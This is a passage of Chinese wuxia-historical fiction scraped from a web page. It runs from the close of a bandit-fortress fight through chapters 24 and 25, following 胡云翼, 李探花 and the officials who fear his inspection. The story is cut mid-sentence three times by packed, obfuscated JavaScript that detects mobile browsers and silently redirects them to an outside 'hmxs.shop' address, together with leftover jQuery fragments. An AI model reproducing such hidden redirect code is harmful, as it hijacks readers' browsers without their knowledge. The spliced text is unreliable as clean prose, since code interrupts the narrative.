不过他毕竟是个人,不是一头河马,两口药雾已经使得干干净净。现在夺过一把朴刀来使用,独木难支,眼看着身上又挂了彩。 黑山虎高兴地看着,好久没有这么有意思的事情了。三个人,一个傻少爷和他的两个书童,上山来为他家里这个丑婆娘拼命,不是很有意思吗?他的目光落在苏苏的身上。她起先一直假装全神贯注地望着那匣珠花,手指慢慢地翻找着……翻找。匣子上镶着的镜子,映照出了她身后黑山虎的形影。 他的衣摆,拂着了她的脊背。而西门烈和公孙雨,挣不开身上的绳索,只能仍是以引颈就戮的姿态跪在那里。黑山虎的手放在他腰间的长刀上。要是苏苏敢伸手过去替他们解开绳索,他就砍断她的手。伸一根手指就砍一根手指,伸一只手就砍一只手,伸一双就砍一双。结果她就是不上当。没意思。他忽然开口问: “想不想知道翁天杰那天说了什么?” 这么久以来,他经常或者开玩笑,或者严肃地说一些翁天杰的事,然后又在后来笑着说:“编来骗你玩的。”但是起先说的那些据说是骗她玩的事,后来却又有可能反悔说其实是真的。 要是按他的说法,翁天杰就比苏苏认识的那个丈夫多一百个心眼子,他和强盗坐地分赃,他杀的人比黑山虎还多,因为黑山虎本来就是他的手下。 “你想在逃营以后、到家乡去接你之前,他在哪儿?他在这儿。就坐在这张椅子上。这张椅子上做过多少个屁股,才这么光滑……他才是艾山上最大的老虎,可是忽然有一天,他想到家里还有个老婆。那么他就离开去接老婆。他这个老婆呢,一心只想和老实人过老实日子。他哪敢说自己发的是哪份财啊?不过这样也不错,本来官府一心要剿匪,有他这么居中一掺和,事情就和缓了,无论哪一任县令坐堂,只要每年孝敬个几千两就行了。县令老爷的胃口倒不算大嘛。” ——那天是哪一天?是苏苏的家在烈火中坍塌,而她在燃烧的荷花池边、回廊之上,火星四溅里,见到了刀刃淌血的铁传甲的那一天吗? 那一天,多事而正直的县令沈炼,不仅拒绝接受贿赂,而且还要把土匪剿灭。也是那一天,山上的十只老虎,不想再让这个和他们离心离德,已经被平凡的生活腐化了的大哥骑在他们头上了。边洪给他们送了信。 黑山虎说: “想知道翁天杰的遗言吗?” 苏苏说: “不想。” 黑山虎蹲下来,把她的脸扳过,仔仔细细地望着她,光鲜美丽的那半边和丑陋如鬼魅的那半边,仔仔细细地看。两边都合起来才是完整的屠苏苏。然后笑着说: “太好了,那我一定得告诉你。他说啊——” 西门烈怒喝一声,跳了起来,一脚飞来。 也许长身体中的少年的力量真的是无穷的吧。而且又是面对着自己最害怕的事情。他怕的是黑山虎说出什么可怕的事,大家死也不肯让苏苏听到的事。黑山虎抬手攥住了西门烈的脚,然后用力。 他的武是跟曾经的盗匪翁天杰学的,混沉有力。可怕的骨头碎裂的声音响了起来,西门烈忍着不叫出来。 苏苏忽然扑了上来,抱住了黑山虎。她流着眼泪说: “告诉我吧。告诉我吧……” 她只有用这种方式来阻拦他,因为知道他有时候恶作剧的心能盖过一切,果然他微笑着,一只手揽住她的肩膀,但另一只手一点也没有放松。 “我该叫你大嫂——”他慢慢地说。“还是婆娘呢?” 凤白砰地一声跌倒在了苏苏旁边。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995999|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 匣子翻倒了,光芒耀眼的珠花落在了地上。黑山虎怒了努嘴说: “喏,你喜欢,就挑吧。先挑中的先杀,后挑中的后杀。要是你挑花了眼,我就帮帮你。”他高兴地把刀刃在他们的脖颈边晃来晃去。 兄弟们全都横七竖八地躺在地上,挑谁呢? 苏苏在黑山虎的刀刃之前,抬起手来。 黑山虎快活地瞧着。 也就是在这个时候,什么东西砰地戳穿了房顶,掉了下来。 那看上去像根房梁。房子塌了?又像根旗杆。 就是根旗杆。 边浩抓住旗杆,跳了下来。他没有武器,竟然把寨前的旗杆给拔了出来。 在过去,他有个称号叫白马神枪,现在既没有白马,也没有枪,但他还是边浩。黑山虎的刀也格不住这杆大枪;那还是十多年前翁天杰树在寨前头的,足有三百斤的参天巨木。他滚落在一边,紧握住他的刀柄。刀已断了。 现在换他坐在尸体中间,这些尸体都是他的伙计,死人的手里还紧紧握着一把斧头。他要从那已僵硬的手指之间夺过武器,但是尸体的力气竟然这么大。他发狠了,恨不得把尸体的手腕整个拧下来,但是他忽然犹豫了。而那尸体,脸色青白,被金凤白的药雾喷得闭住了气,此刻忽然睁开眼睛,笑了笑。黑山虎也笑了笑: “通个万儿?” “我叫张承勋。” 黑山虎皱了皱鼻子,“这名字不好听,太不响亮,不配做杀我的人。”他的袖中忽然刺出一把短短的刀刃。 一番苦战之后,夜深了,而整座山寨已成一片死寂。苏苏跪坐在黑山虎的面前,问他: “所以……告诉我,翁天杰死前说了什么?” 她竟然在最后给了他这么一个报复的机会;他完全可以说出什么话,让她听了难受一辈子。他的嘴唇扭曲了,好像是要吐出这么一句话来。或许两句。他说: “翁大哥要我照顾他的老婆。” 张承勋走进来,在门旁的尸体上擦干他的斧头。凤白坐在地上,看着他直笑,笑得他也有点不好意思,抹了把脸说: “……是有点和以前不一样。” 说着又闻了闻自己的衣袖,苦恼地皱着眉头。“臭了。” 大家又吵吵闹闹地一片,西门烈单脚跳着说他要揍老金两下才解气,边浩和公孙雨两个受伤较少的,听苏苏的吩咐,去外面处理了一下还活着的人。免得这里的动静把其他八只老虎的人引过来。至于小老虎——老十已经在半年之前就因为一些无聊的事被黑山虎一刀杀了。 凤白一瘸一拐地走到外面去套车。 屋里安静了,这里只剩下苏苏和一地的尸体,尸体当然最安静。 苏苏坐在那把虎皮椅上,脚下是黑山虎的尸体。他死后才看得出竟然是个很年轻的人。这椅子,黑山虎坐过,据说翁天杰也坐过,但是当然啦,黑山虎的话不能信。只要她想不信,就可以不信。 西门烈从外面和凤白打闹了一圈,绕到窗前,就看到苏苏靠在那把椅子上,轻轻地叹了口气,然后闭上眼睛。这几个月以来,她已经太累了。 他就这么静静地望着她。这个角度,看不见她脸上的伤疤,于是她还是那么美。但是忽然之间,一个人悄然从房梁上跃了下来。他的身形魁梧,动作却像猫一样轻捷。 铁传甲。 西门烈瞪大眼睛瞧着。他看到铁传甲弯下腰来,望着苏苏的脸。在他——这个叛徒的脸上,充满了最纯净的哀伤。他望着苏苏,望了一个瞬息;忘却了这一个瞬息。西门烈就猛然提起拳头,打破了窗格,冲进去。 边浩在挖坑,有那么多尸体要埋。但是他挖着挖着,直起腰来,看着夜雾中走来的人,又瘦又高,穿着一身破直裰,衣摆在夜风中飘扬。他抱怨道: “老秀才要用得着的时候就跑得不知道哪儿去了!” 易明湖板着脸说: “铁传甲也在这里。” 不远处的屋中,传来一声怒吼;一个大洞。铁传甲扑了出来,立刻遭到围堵,幸好他的轻功不错,几人硬是穷追了他这么远,直到悬崖边上。 易明湖大声说: “铁传甲,念你是兄弟,最后问你一句。是否就是你和那狗县令狼狈为奸,害了大哥!” 传甲哈哈大笑: “当然了,除了我,谁还办得到!”刀和剑都加上来了,他却呸道: “凭这些,还不够杀我。” 他竟然从从容容地用那双十三太保横练的铁手,把刀刃分拨到一边,然后跃入身后的万丈深渊。夜风萧萧,几个人拖着兵器走回去,半路上见到了一瘸一拐地跑来的西门烈,冲他们怒道: “就没人等我!铁传甲呢?” 再往前是山寨,苏苏站在寨门前,看见她这几个弟兄全须全尾地回来,低下头微微一笑。这是嘉靖二十三年六月里一个普普通通的晚上,雨季来临之前。屠苏苏嫁给翁天杰的第十二年,现在,她和嫁给他时一样,两手空空。 24. 葫芦 自从上一年里辟了块地,云翼就种了些菜,好让他的餐桌看起来不那么寒酸地过了头。只是公事繁忙一直不得闲,那些菜和杂草一比,显得稀稀落落。胡小娘进门以后,才把那块地收拾得像了点样子。到五月间,竹篱笆上结了好些葫芦,那篱笆外头本来是一片垃圾场,每天隔篱瞧着都十分败坏心情,可是这些爬藤的植物长起来之后,就用它们宽大的绿叶遮掩了人的目光。夫妇两个站在栅栏边上,望着这些翠绿的果实,觉得很有成就感。云翼左右想想,摘下结的第一批来送给李探花,李探花虽然不是他在朝中唯一的朋友,甚至他们未必算得上是朋友,但却可能是唯一一个收到这些寒酸的葫芦不会耻笑他的人。 胡二在门前见到他换了便服,提着篮子要往外走,就问: “姑爷,你上哪儿去?” 云翼如实报告,他道: “呸!你是一位老爷,要拿出老爷的款儿来才是。” 云翼很想回他两句嘴,但因胡二如今已是他的丈人,不便再像从前那样对之呼来喝去,于是把话咽了回去。刚好胡二的儿子胡兴从军中来家,提了两只连头带尾不到巴掌长的鱼来给他妹子。小娘倒很高兴,在厨下忙活着,找了个坛儿把鱼盐渍着,又说: “阿哥,你不要老是往灶上偷东西,给班头抓住了,仔细一顿好打!” 胡兴道: “你放心罢,这是我向河里抓的。” 兄妹二人说话的工夫,胡二伸头过来瞧见儿子在这,就使了他跑腿。胡兴嘴里喃喃地骂说: “好个姑爷,倒把舅子使唤成小厮也似,不知道的以为沾他多少光!”被胡二使扫帚打出门,他才臊眉耷眼地去了,过了半日,回来时却是笑逐颜开,他去的时候,是满不在乎地一手捏着那竹篮子,回来却将篮子宝贝地用双手捧定,唯恐撒了,拿脚把门顶开,将篮子放在桌上,一手抹着满脑门子的汗,对云翼道: “姑爷,你这位朋友好阔的家门!好大的手笔!你们都是当老爷的,怎么你混成这么着?” 云翼见状就知道李探花一定是把他当成跑腿的小厮,定然还给了赏钱,但问胡兴,他肯定是不肯承认的,索性也不问了,心里只暗暗地后悔:他明知道李探花家资豪富,自己就算送再不值钱的邋遢东西给他,他的回礼也一定不虚,云翼怎和他交往得起呢? 云翼便叹口气,见竹篮提手旁边还插着一张金花五色宣德纸,这是内宫的贡物,必然是皇帝赏赐的,外头有钱也买不来。我们这位促狭的探花,在上头画了一个云翼,长着老长的胡子,然而却是个葫芦头,旁边赋诗一首: 晨露风烟伴早茶,匏瓜累落挂檐斜。 得来清兴忘禅机,阴凉赠与苦诗家。 云翼看了,觉得写得颠三倒四,许多情由自己解不出,付之一笑。话说当年李探花出生时,一个有名的疯僧替他取了名字,此后飘然远走;过了五六年,那和尚又复云游到此,逐日依着门首化缘,李探花年纪幼小,跟着和尚到处乱走,大家知道这是李尚书家的小公子,都来献殷勤,与那和尚慷慨布施,搞得李探花一直以为化缘好似很容易。 那大和尚放荡不羁,荤素不忌,他挂单的那寺里众僧对他是又敬又怕又厌,都躲着他走。只有李探花觉得这和尚好玩。和尚带他越脊过桥,上房揭瓦,不觉练就了一身好扎实的少林功夫。他并且给李探花取了个诨名儿,叫“葫芦”。他就反问道: “那师父你叫什么名字?” 其实周围人常称他师父为“那个”、“那疯僧”、“秃颠子”之类。这和尚随口回答说: “你是葫芦,我就是瓢。”瓢者,葫芦落地切上一刀也。李探花很欢喜这个名字,到过年时响亮地回答客人自己名叫李葫芦,把他爹闹得好个没脸不提。 小娘道: “这个画儿有趣,我收着。”将笺子往《尚书》里夹了。自打她进了云翼的门以后,就用他这些书来夹绣花的样子,云翼只拿她没办法。可是她并不识字,问:“字上说的什么?” 云翼道: “他笑你夫君是个葫芦头。” 小娘笑道: “我瞧人家笑得不错。” 云翼又将篮子上蒙着的丝缎掀开,不免怔在当场。里头是好大一只透明琉璃戗金盖碗,盛着整碗的杨梅和冰块,红的梅子,清凉透明的冰块,仿佛把这整个破烂房间全给照亮了。这个时节,这个地方,不管是冰块还是杨梅,都是极其难得的东西,哪怕皇宫里也未必能有这样好的杨梅吃。与其说是一颗颗的杨梅和冰块,不如说是一颗颗金银,着实吓死个人。小娘伸手轻轻地碰了碰那被冰镇得寒浸浸的琉璃盖子,好像不敢打开似的。云翼瞧着她,心中十分不痛快,觉得自己仿佛做了很大的错事。 这时候,小娘抬起脸来看了看他,云翼忽然发觉他这妻子也不过是个得到了贵重礼物而不知所措的小女孩。他笑道: “我这朋友惯爱弄这些乱七八糟的东西。得了,少不得我得亲自去访访他。这些都是你的。” 胡兴在门口探头探脑地要瞧那是什么东西,小娘就喜滋滋地抱着大碗走出去在那好大的太阳底下,用袖子将碗遮住,在街边蹲下。街上很是吵杂,许多小孩鞋也没得穿,裤子短一大块,脏兮兮地玩作一处。小娘冲他们摇摇手,大家不多时都跑了过来,你一颗我一颗地领到了属于自己的那一颗杨梅。杨梅分散完了,又你一颗我一颗地领冰块。孩子们用脏兮兮的小手捧着这些冰块,冰块在手心,自然是慢慢地融化了。 云翼在家中转悠了一圈,愣是没找到什么东西回礼的,只好在心中叹气,发誓以后再也不和这李孝元作任何、任何,任何物质上的往来,正在长吁短叹之际,却见小娘已然将盖碗捧回来了,里头盛的不再是冰块和杨梅,却色彩纷纷得好不好看,原来孩子们领了杨梅去以后,自己把回礼又放回碗里。这些孩子们整日在街上游荡,他们的命运从出生在条街上开始,就似乎已经注定了。可即使是这样的孩子们,也依然有珍爱的东西,和把珍爱的东西送给一个陌生人的慷慨。那碗中盛着一汪清水,里头漂浮着一朵小小的开黄色花的水葫芦,并着丝丝缕缕的水草。这东西在京城的夏天到处都是,长得太疯,堪为一害,可是这样孤零零地在清水里,却也好看了起来。水底沉着许多漂亮的小珠子、小石头儿,两只银色的小鱼,还没有小娘的指甲长短,鼓着眼游来游去。云翼伸手在碗沿上摸了摸,不觉微笑了。那种沉甸甸压在他肩膀上的对贫穷和世道的慨叹,忽然无影无踪。他轻轻地说: “对。我想他会喜欢的。” 遂提笔和了一韵,将盖碗装回篮里,丝缎盖好,回了李探花不提。 且说从那日赠瓜之后,忽忽又过了两月工夫,皇帝因为陕西一带民风刁顽,税银总不足数,决心下手整治一番,想到胡云翼是御史台第一个刻板人物,让他去算账,肯定一分一毫都差不了,便以云翼为陕西道巡察御史,不日启程。云翼领了旨意,打点行李,骑着一头驴子出门。他的风格一向简练,要是自己不说,绝没有人看得出这是一位皇帝钦点的差官。驴子走得实在太慢,云翼便在驴上拿着一册书读。当他快要出京的时候,忽然从后面来了一骑,那人好不无聊,挥鞭在云翼的驴子屁股后头打了一下,打得那驴子轻嘶一声,向前跑去,好险没撞到树上,书也不慎抛了。 他赶快伸手扯住缰绳,压下驴步,听得身后马蹄得得,那恶作剧的人,自己悠然催马上前,却是一名少女,二八年华,梳着辫子,贴鬓一朵玉琢的白兰花。言笑晏晏,艳光融融,令人不敢逼视。被这样的姑娘捉弄,倒也是一桩美事。云翼却板起脸来道: “李孝元,你别玩了。我此去是办差的,你打扮成这样,又跟住我不放,成什么话?” 那姑娘拍了拍马鞍上挂着的两把刀,刀身细窄,都用黑纱缠裹,看不分明。她在马上略福了福身子,浓浓的发辫滑落在胸前,倒真是个侠女样儿,道: “皇上说了,陕西地界忒不太平,要奴给胡大人您做个保镖儿的呢。” 说着从袖中抽出驾帖来给云翼看,云翼接过来只一扫,递还了她道: “又是你自己写的。” 姑娘笑道: “替皇上辗转笔墨,也是翰林官分内事呀。” “你算得什么翰林官?” 云翼嘴快地回了她一句,又自觉话说得重了,找补了一句道: “翰林官……哪有这么整天打打杀杀的?” 姑娘笑了笑,她方才将云翼抛掉的书接在手里,此时定睛一瞧,原是一本《维摩经》,便笑道: “呀,胡大人,你难不成却要悟了?” 云翼咳了一声,道: “不相干。”此时一阵夏日的热风骤起,将姑娘轻薄的衣摆吹起,天水碧色的长褂上织就遍地银花,和底下两条白缎挑线长裙涟漪也似交织,衬身的白绫袄儿,自袖中发出香风阵阵,美不胜收。云翼道: “我不明白,你总做这样打扮干什么?岂不闻乐天诗:‘人生莫作妇人身,百年苦乐由他人’,做女人好生苦也!” 李探花笑道: “云翼,你好笨。我教你:做女人的好处,当然就是不用做男人了。”将云翼堵得说不出话。他又道: “我也要问你,云翼,你那天做么要和皇上顶撞?难不成你不知道什么叫‘皇上’?” 原来二月间,春闱前夕,李探花因一些风言传到了皇帝的耳朵里,说当朝的首辅大学士翟銮徇私舞弊,暗暗安排他的两个儿子都中了举,时人遂有唱着一首“一鸾当道,双凤齐鸣”的歌子,他便到顺天去查探此事,果然揪出了翟家兄弟的把柄。后来禀告了皇帝,皇帝当时的意思是乡试的这点便宜睁一只眼闭一只眼无妨,可是翟家兄弟在春闱之中又是双双高中,翟汝孝更是高中了一甲,才使皇帝感到不能容忍,罢了翟銮的官,两个儿子的功名也都夺了。他既然是这样的罪证确凿,满朝文武没有不服气的,独胡云翼一个上书说这样的事情,应该先发三司论处,不能由皇帝一句说定。皇帝因而甚是恼他,但后来还是听了他的建议。 云翼道:“这些还不用你来教我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996000|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李探花默了一默,那一瞬间,神情瞧着很是萧索。忽又笑道: “难道你和翟大学士有什么交情?” “没有。”云翼道,“我连他家大门朝哪儿开都不知道。” “我告诉你罢,是朝南开的。他家就住在大明门外头,有两棵好大榆钱儿树的就是了。” 但是眼下,翟銮既然被夺官为民,那房子已经是人去楼空。李探花又道: “云翼,你只要看皇上的意思是好还是坏就成了,何必管他合不合道理?难道你管得过来?” “管不过来,就不管了么?” 云翼说着就叹了一声,道: “说起来也真是白惹一肚子气。我何曾就瞧得起翟家那一对公子哥儿?” “胡大人,这我就不明白了,你连翟家的家门朝哪儿开都不知道,那两位公子好端端的又何曾惹了你啦?” 云翼便冲他倒了一番苦水,说到他去年时一次下了朝回家,见到家门口闯进来两个清江楼上的小厮,并一大帮看热闹的闲汉,弄得好不恼人。事后他越想越气,奔去清江楼将跑堂的抓来逼问,那跑堂的道: “老爷你问那天谁订的一桌席面?这却正好,两位翟公子都正在呢。” 便将楼上的两位少年的公子哥儿指点给他瞧。云翼见那公子哥坐在窗边,望着楼下,看着看着,露出一丝令人困惑的微笑,便认定了这人是个傻子。他走过去和两人见了礼,说到当日的事情,两人仍可可地扒着他问什么美人,听说他什么也不知道,便只顾着唉声叹气。原来这兄弟二人当日约在清江楼上吃酒,弟弟在路上遇见两名并骑的侠女,因此迟了些许,而等他上得楼来,早在那等他的哥哥竟也向他提起偶遇侠女的事情,两兄弟为之着迷,以为天定奇缘,不在话下。当场你一言我一语地赞叹起侠女的风姿,云翼在旁边听着,非常确信两人都发了风症了,事后才晓得这便是翟銮大学士家的公子。 李探花听了,笑得了不得,云翼也不好意思起来,道: “别笑了!”他倒不曾把李探花和这两名侠女联系在一起,毕竟这种奇事需要很多想象力。 两人一边说着些乱七八糟的闲话,一边慢慢地走。云翼的那口驴子,和他暴躁的主人全然不同,一副温克性儿,缓慢而散淡地走着,后面来了大车,常被这驴儿在前头挡了路,云翼只好频频避让,可是一旦把驴子赶到路边,它就以为歇息的时候到了,低头自吃它的草,云翼又只好沿着驴脖子溜下来,拼命地把人家再拽回路上。李探花瞧了一路,笑了一路,云翼也觉得不好意思,气喘吁吁地道: “这……这驴子平常叫房下骑出去溜达溜达还是不错的。怕是因为没走惯外头的大路。” 李探花道: “你要是不耐烦,到了前边馆驿,牵匹马罢。” “我自家驴儿,没什么不耐烦的。”云翼梗着脖子不肯松口。原来当日的规矩,是官员出差可以到馆驿去得到马匹和食宿的供应,但是云翼最不耐烦受人家的恭维,才硬要骑自己这匹驴子出来。只是不知道为什么,这驴子在家里的时候跑得挺欢,出来这般不济。李探花就笑个不停,道:“我要骑驴子,你把驴子给我骑。” 便就跳下马来,劈手夺过云翼手里的缰绳上了驴子,好像很是新鲜,倒把他那匹千里良驹给抛闪了。他喜孜孜地听着驴蹄得得地走,问云翼道: “这驴儿有名儿没有?” 云翼随口诌来: “家驴小字葫芦。”盖因这驴养在家里,老伸嘴去咬园子里种的葫芦,李探花更笑了个前仰后合,直道好巧好巧。 云翼却不知哪里巧来,此时见李探花的那匹马,和两年前一样地神骏,心中不免也爱,伸手抚摸这黑马丝缎般的皮毛,问道: “这马也该有个名儿罢?” 李探花道: “有啊。本来想叫它李逵的,我大哥说不好,所以改叫雪骨。” 盖因此马四蹄如雪,与通身的黑色比起来,犹如骨色一般。云翼却想到当日他将李探花背回家去时,就是这匹马在前头给他们带路,一路上雪下得这么大,把匹黑马的脊背压成雪白,一时默然。等他回过神来,却见李探花自己和驴子玩得不亦乐乎,从袖中抽出一条长长的白绢汗巾子,下垂一条青宝石灯笼坠儿,和他耳边戴的是一对的。便将这汗巾儿蒙了驴儿的眼,驴子便老实多了,一会儿又将驴子倒着骑来,笑着在指间碾弄随手折来的柳枝。云翼在他的马上,见眼前只是好一头青驴子,载着个这样美丽的姑娘,犹如画中一般,想到他方才劝说自己时的神情,心中无限地可怜。燠热的夏风,吹动了他沉甸甸堆在肩头和胸前的长发,他忽然对云翼微微一笑,道: “你送我的鱼儿,我摆在书房里啦。花也养进外头池子了。” 云翼叫声我的祖宗,“那是甚么花!不过是些水里长的杂草,得了三分水汽就疯长。还是趁早拔去,莫要让它污了你家里的好池子。” 李探花说不妨事;那些水葫芦开花黄黄的好看。两人就这样一道走下去,走进黄昏,又走到了天黑。 25. 奇迹 长安城中,深夜,本地的几个有头脸的人物聚在一处,谈论着新任的陕西道巡察御史胡鹏。其人之刚方正直、不知变通,是出了名的,摊上这么一位大人,简直叫人碰死的心都有。席间是何等的一片愁云惨雾。只有一个年少的公子哥儿,因不曾受官场洗礼,故而还是一身清白,没听过胡云翼这鬼见愁的三个字。他把几位大人们挨个瞅了半晌,觉得很有意思,自斟自饮一杯,道: “这位胡大人倒好似是一方人物,人还没到,其人之声威就先把大人们吓成这个样子。” 一桌人俱做出些怪相,没有回他,还是席间有一个陪客,姓虞,是本地的孝廉。虞孝廉笑着说: “王公子,你有所不知,这位胡大人的事迹,一桩桩、一件件,俱都惊人得很。据说,他因生性悭吝,不给家眷买裹脚布的钱,皇上知道了,竟赐了他两匹缎子。” 王公子笑道: “皇上还挺好心的。” “胡大人谢过了恩,把缎子拿回家,告诉说是皇上的赏赐,他的堂客羞愤之下,便用这缎子上了吊啦。” 王公子道: “这就更显出皇上好心了。” 有他开了头,大家的话匣子才纷纷打开。长安的县令王学柳,不幸是胡某的同年,当年辛丑科放榜,新科进士们各自授官,王某选为长安县令,却又在京城耽搁了数月,侯到次年才补上这个缺。当他在京侯缺的时候,没少跟立即在行人司上岗的云翼打交道,看样子,这几个月已经给他造成了某些无法磨灭的精神创伤。他说: “虞先生说的是,这胡云翼还就该批悭吝二字。他是既不体人情,也不识抬举,一心里只认那死法死理,要我说,他可还真是生错了时候,要生在洪武年间,倒还是一副人皮楦子的好材料哩。王公子,你倒说说,拿他这号人如何是好?简直是茅坑里的石头又臭又硬,可还非得是得讨他的好儿,如若不然,唉,小弟这顶乌纱帽……而王公子自洛阳千里迢迢,也就要白跑一趟了。” 他虽是如此说,却引起坐在上首的上司心中戚戚之意。这位上司就是本地知府吴孟祺。要说胡云翼来了,若查出个什么三长两短,遭殃的倒还未必是他这个九品芝麻官,大梁若是倒了,肯定先是砸在上司身上。不过话又说回来,上司又尽可以把脏水全往他的身上泼。总而言之,两人这是一条绳上的蚂蚱,而这条绳呢,现在又被胡云翼牵在手里。云翼的性格虽然是刚方正直,但在这些人眼里,和个顽童也差不离,首先无法预测他的行动,其次无法理解他的行为逻辑,最后,他的破坏力大到难以想象,你还不能动手揍他。 要说今年,也真是流年不利,偏偏就一事赶着一事。像是收成不好、税收交得不齐,这些事情尚且还可说辞应付,毕竟靠天吃饭也没办法。西安府设立原就不是为了要产出多少粮食以补国库的,不如说,田地乃是卫所的附属品,壮丁们在每年春季拿起兵器,过了时令又卸甲归农,盖“军屯”之谓也。按理说,眼下到正应该是松快的时候,因为蒙古人要闹腾也是在冬季,彼游牧民族,逐水草而居,冬天,草原上天寒地冻,衣食无着,就要到汉地来劫掠。而初春时候,经过了一冬天的耗竭,人和马的冬膘都消耗尽了,加上又到了归返春季草场的时令,伊便思撤退。这时候,汉地军队可就要追出去了,就算是出上一冬天的恶气。年年如此。 今年年初,吴知府终于精心收集齐了数箱宝物,要拿去孝敬皇上。他这人别的不说,挑选宝物的眼光是好的,可他吴知府是何许人也,哪有这个亲自孝敬皇上的福气?故而要严嵩阁老替他费心思。可是怎么让几项宝物飞到严阁老的家中呢?他便颇思找个可靠的镖局。身边便有个虞二代为牵线,找到了咸阳府鼎鼎大名的长风镖局。总镖头张同武老先生,人称“一斧镇西北”。听说,就连当今提督雁门关、巡抚山西,风头赫赫的山东佥都御史曾铣曾大人,也和他有交情。曾大人虽然和严大人略有些不对付的苗头,不过他长于兵事,看人的眼光一定不错。再说,这不对付的苗头,不也还没起来吗? 张镖头又是个善心的人,西北是常年战事,虽然在国朝史书上,写下来不过是基本稳定四个字,其实流离失所的孩子年年都有,见惯不惯了。张老先生竟然能收养了许多这样的苦孩子,抚养他们长大,教给武艺,略不藏私,而这些孩子长大以后,竟然也都能诚心报效,镖局有了这么些得力的人,张先生是烈士暮年壮心不已,便思把经营范围从咸阳还向外延申,这一思想,就衔住了虞二牵过来的线头。 本来是三全其美的好事,谁知道这姓张的如此不济,金玉珍宝,一概失落,早知道还不如拿去给家里的小妾打副头面,好歹还能听个响儿。长风镖局也是元气大伤,十几个好手竟然统统归于烈士,只回来一个已然残废了的镖师查猛,还有那个傻里傻气的趟子手诸葛雷。 吴知府忍气吞声,不曾发作,反正失去了全副家当,就是知府不特意去寻由头治他,也够那姓张的受的了,如今却不知他怎样了。至少他会发现自己忽然举步维艰,吃饭穿衣呼吸或左右哪只脚上街都是错误。于是张老镖头就选了个良辰吉日拿着大顶上街——他发了疯了。装疯,也就是一切事情走到无可奈何之际仅剩的手段。不过他在把自己精心经营的全部美好形象人道毁灭之前,总还将该料理的都料理好,把他的女儿染香姑娘,嫁给了查猛,然后自己即可放心地疯癫去了。 十月,宝物陷落的噩耗传来之际,吴知府的眼下又出了一件可怕的事,就是府治的仓库连粮食带银子被一帮流民给抢了。抢得浩浩荡荡,抢得锣鼓喧天,热闹得没有商量的余地,就这么直达天听,皇上虽然嘴上不说,只给胡云翼几句粉饰太平的话,什么督抚边事保境安民,其实大家心知肚明为的是什么。那大家总不能都像张老镖头那样一疯了事。 思前想后,破局之策,还应落在这位洛阳来的客人,富家公子王怜花的身上。 王怜花是洛阳城的大富之家,少年才俊,经营有方,十年间,把他那“”王森记“开遍了整个洛阳。俗话说隔行如隔山,王公子却不管是开客栈、饭馆子、绸缎庄、脂粉铺、银楼、钱庄……全都得心应手,好像压根就没听说他赔过。洛阳上到知府下到皂吏皆被他的银子伺候得服服帖帖,洛阳的地头蛇被他的手段压得心服口服,甘为驱使。要不是先打通了他这边的关节,恐怕长风镖局的一票绣花枕头,连洛阳都走不过去。 而这位鼎鼎大名的怜花公子,不在洛阳赏那国色天香的牡丹,近日却来到了西安府,因为牡丹十月不开。 王公子说,他要一游终南。我们且不要信他的。若是游山玩水,何必先来访本地的知府呢? 眼下,大家七嘴八舌地说云翼的坏话,吴孟祺又说,那胡云翼不知道吃错了什么药,专门和自己人作对,就像那前任户部尚书的小儿子李孝元,那是皇上眼前的红人,前程远大的人物,皇上宠爱他宠爱到虽然发怒把他揍了一顿斥退,不出半年却又召了回去,而且荣宠更盛。可是李孝元是个好性儿的孩子,谁有个三长两短,求到他面前,他能帮的都尽帮了,真正是为同僚做主哇。就这样的人,胡云翼也看不惯,连着弹劾他两次,第一次是说他到鼓楼上唱歌,第二次是说他父亲死了不知守制。看看,实在没什么能阻止胡某在将来再来上第三次,而李孝元渐渐长大了,等他真正懂事,也给浸成官场上的老油条时,还不知要怎么作弄这个三番四次和他过不去的胡云翼呢。 结果大家极目远望,都很盼着奇迹发生,譬如胡云翼骑着他家那头秃驴而摔断脖子,又譬如李孝元忽然深夜惊醒,发起恨来,立刻就跑到皇帝面前把胡云翼告上一状,立刻皇上就把胡云翼拿在牢里,免了众人这场灾殃。皇上啊,行行好吧。 眼下只有王公子在席上,懒洋洋地喝酒,那就王公子行行好吧。王公子眼眉一挑,笑容中有种心不在焉的味道,那就像一朵牡丹……不为那人间常把官员们吓出三长两短的万事万物而开放。 “我哪里有这么大的本事?” 他也不知是在端详着细瓷的酒杯,还是端详着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996001|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手。 “一了百了的手段,倒也有,可是当为大人们所不屑吧?” “下官实在是束手无策,盼王公子指点一二……” 